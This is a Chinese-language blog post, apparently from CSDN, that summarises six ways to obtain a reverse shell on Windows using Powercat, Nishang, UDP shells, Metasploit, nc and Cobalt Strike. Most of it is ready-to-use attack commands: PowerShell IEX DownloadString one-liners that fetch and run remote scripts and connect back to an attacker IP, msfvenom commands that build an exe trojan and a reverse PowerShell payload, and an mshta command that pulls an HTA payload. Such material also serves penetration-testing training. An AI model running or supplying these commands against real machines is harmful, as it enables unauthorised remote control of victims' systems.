Windows系统反弹shell常见方法总结

系统管理员 2023-10-06 18:29 97阅读 0赞

#### 目录 ####

*   *  一、Powercat反弹shell
     *  二、Nishang反弹shell
     *  三、UDP反弹shell
     *  四、Metasploit反弹shell
     *  五、nc反弹
     *  六、CS反弹

### 一、Powercat反弹shell ###

powercat下载: [powercat][].  
powercat 是一个 函数。首先，需要先加载该函数，然后才能执行它。加载方式有两种：  
其一：下载powercat.ps1至本地，并加载  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]  
其二：从URL加载  
`powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.8.14/powercat.ps1')`

攻击者开启监听  
![在这里插入图片描述][20210716164232772.png]  
目标机cmd下执行反弹shell  
`powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.8.14/powercat.ps1');powercat -c 192.168.110.128 -p 6677 -e cmd`  
![在这里插入图片描述][20210716164402701.png]  
攻击机查看反弹shell情况，反弹成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]

### 二、Nishang反弹shell ###

Nishang下载: [Nishang][].  
Nishang 是一个脚本和有效载荷的框架和集合，它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。Nishang 在渗透测试的所有阶段都很有用。

攻击者开启监听  
![在这里插入图片描述][20210716172015541.png]  
目标机cmd下执行反弹shell（Invoke-PowerShellTcp.ps1函数取至于/nishang-master/Shells目录下）  
`powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.14/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.110.128 -port 6666`  
![在这里插入图片描述][20210716172112916.png]  
攻击机上查看反弹情况，反弹成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]

### 三、UDP反弹shell ###

利用方法同第二部分，利用/nishang/shells文件夹中的Invoke-PowerShellUdp.ps1文件

攻击机开启监听  
`nc -lvup 6677`  
![在这里插入图片描述][20210717102607179.png]

目标机执行反弹shell  
`powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.14/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.110.128 -port 6677`

![在这里插入图片描述][20210717102718203.png]  
攻击机查看反弹成功  
![在这里插入图片描述][20210717102922438.png]

### 四、Metasploit反弹shell ###

**方法一：**  
利用msfvenom制作.exe格式的反弹shell木马文件  
`msfvenom -p windows/meterpreter/reverse_tcp -l lhost=192.168.110.128 -p lport= 6677 -f exe -o 716.exe`  
![在这里插入图片描述][20210717084124731.png]  
攻击机开启监听  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 3]  
目标机上传716.exe，并执行  
![在这里插入图片描述][20210717085200659.png]  
攻击机查看已建立连接  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 4]  
**方法二：**  
使用 msfvenom -l 结合关键字过滤（如cmd/windows/reverse），找出我们需要的各类反弹一句话payload的路径信息。  
`msfvenom -l payload | grep 'cmd/windows/reverse'`  
![在这里插入图片描述][20210717092646174.png]  
使用如下的命令生成反弹一句话，然后复制粘贴到靶机上运行即可。  
`msfvenom -p cmd/windows/reverse_powershell lhost=192.168.110.128 lport=4444`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 5]  
攻击机开启监听  
![在这里插入图片描述][20210717093027957.png]  
目标机cmd下执行反弹shell  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 6]

查看攻击机反弹成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]

### 五、nc反弹 ###

攻击机开启监听  
![在这里插入图片描述][20210717105302469.png]  
目标机执行反弹shell  
![在这里插入图片描述][20210717105918928.png]  
攻击机查看反弹成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 8]

### 六、CS反弹 ###

攻击机开启监听  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 9]  
生成payload， Attacks---->Packages---->HTML Application

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 10]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 11]  
设置Host File  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 12]  
目的靶机上执行mshta http://192.168.8.137:80/download/file.ext

![在这里插入图片描述][6886a83c28924315ab5df048ff4e1916.png]  
攻击机CS上查看建立连接  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 13]

[powercat]: https://github.com/besimorhino/powercat
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20210716163452471.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210716164232772.png]: https://img-blog.csdnimg.cn/20210716164232772.png
[20210716164402701.png]: https://img-blog.csdnimg.cn/20210716164402701.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20210716164522415.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[Nishang]: https://github.com/samratashok/nishang
[20210716172015541.png]: https://img-blog.csdnimg.cn/20210716172015541.png
[20210716172112916.png]: https://img-blog.csdnimg.cn/20210716172112916.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20210716172155531.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210717102607179.png]: https://img-blog.csdnimg.cn/20210717102607179.png
[20210717102718203.png]: https://img-blog.csdnimg.cn/20210717102718203.png
[20210717102922438.png]: https://img-blog.csdnimg.cn/20210717102922438.png
[20210717084124731.png]: https://img-blog.csdnimg.cn/20210717084124731.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20210717084546361.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210717085200659.png]: https://img-blog.csdnimg.cn/20210717085200659.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20210717085249146.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210717092646174.png]: https://img-blog.csdnimg.cn/20210717092646174.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20210717092846296.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210717093027957.png]: https://img-blog.csdnimg.cn/20210717093027957.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/20210717093307376.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/20210717093406608.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210717105302469.png]: https://img-blog.csdnimg.cn/20210717105302469.png
[20210717105918928.png]: https://img-blog.csdnimg.cn/20210717105918928.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 8]: https://img-blog.csdnimg.cn/20210717110018313.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 9]: https://img-blog.csdnimg.cn/13cc4cd20b06492a8915f119de7093ba.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 10]: https://img-blog.csdnimg.cn/f2d718c5b8b041338b431575994c6f58.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 11]: https://img-blog.csdnimg.cn/b7b04e98be1342d7871de66e67a74dba.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 12]: https://img-blog.csdnimg.cn/561c6bc120aa436e8f4702d9ce76143f.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[6886a83c28924315ab5df048ff4e1916.png]: https://img-blog.csdnimg.cn/6886a83c28924315ab5df048ff4e1916.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 13]: https://img-blog.csdnimg.cn/512f27e941444d9681ac2fd5dd0087ec.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70